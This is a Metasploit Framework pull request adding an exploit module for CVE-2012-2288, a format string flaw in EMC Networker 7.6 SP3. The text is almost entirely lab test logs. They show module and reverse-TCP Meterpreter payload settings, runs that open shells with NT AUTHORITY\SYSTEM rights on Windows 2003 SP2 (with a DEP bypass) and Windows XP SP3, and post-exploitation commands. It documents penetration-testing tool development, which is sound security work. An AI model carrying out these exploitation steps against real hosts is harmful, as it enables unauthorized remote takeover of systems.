rapid7/metasploit-framework — pull request #1006 by jvazquez-r7 (2012-11-03 17:20:30+00:00)
Title: Added module for CVE-2012-2288 EMC Networker Format String

Tested successfully on EMC Networker 7.6 SP3

* Windows 2003 sp2 (dep bypass)

msf exploit(emc_networker_format_string) > show options

Module options (exploit/windows/emc/emc_networker_format_string):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.172.136 yes The target address
RPORT 111 yes The target port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.129 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 EMC Networker 7.6 SP3 / Windows 2003 SP2

msf exploit(emc_networker_format_string) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] Sending stage (752128 bytes) to 192.168.1.129
[*] Meterpreter session 4 opened (192.168.1.129:4444 -> 192.168.1.129:64753) at 2012-11-03 18:12:03 +0100

^C[-] Exploit failed: Interrupt

meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 4 closed. Reason: User exit

* Windows XP SP3:

msf exploit(emc_networker_format_string) > set rhost 192.168.1.132
rhost => 192.168.1.132
msf exploit(emc_networker_format_string) > show options

Module options (exploit/windows/emc/emc_networker_format_string):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.132 yes The target address
RPORT 111 yes The target port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.129 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 EMC Networker 7.6 SP3 / Windows XP SP3

msf exploit(emc_networker_format_string) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] Sending stage (752128 bytes) to 192.168.1.132
[*] Meterpreter session 5 opened (192.168.1.129:4444 -> 192.168.1.132:4618) at 2012-11-03 18:13:07 +0100

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...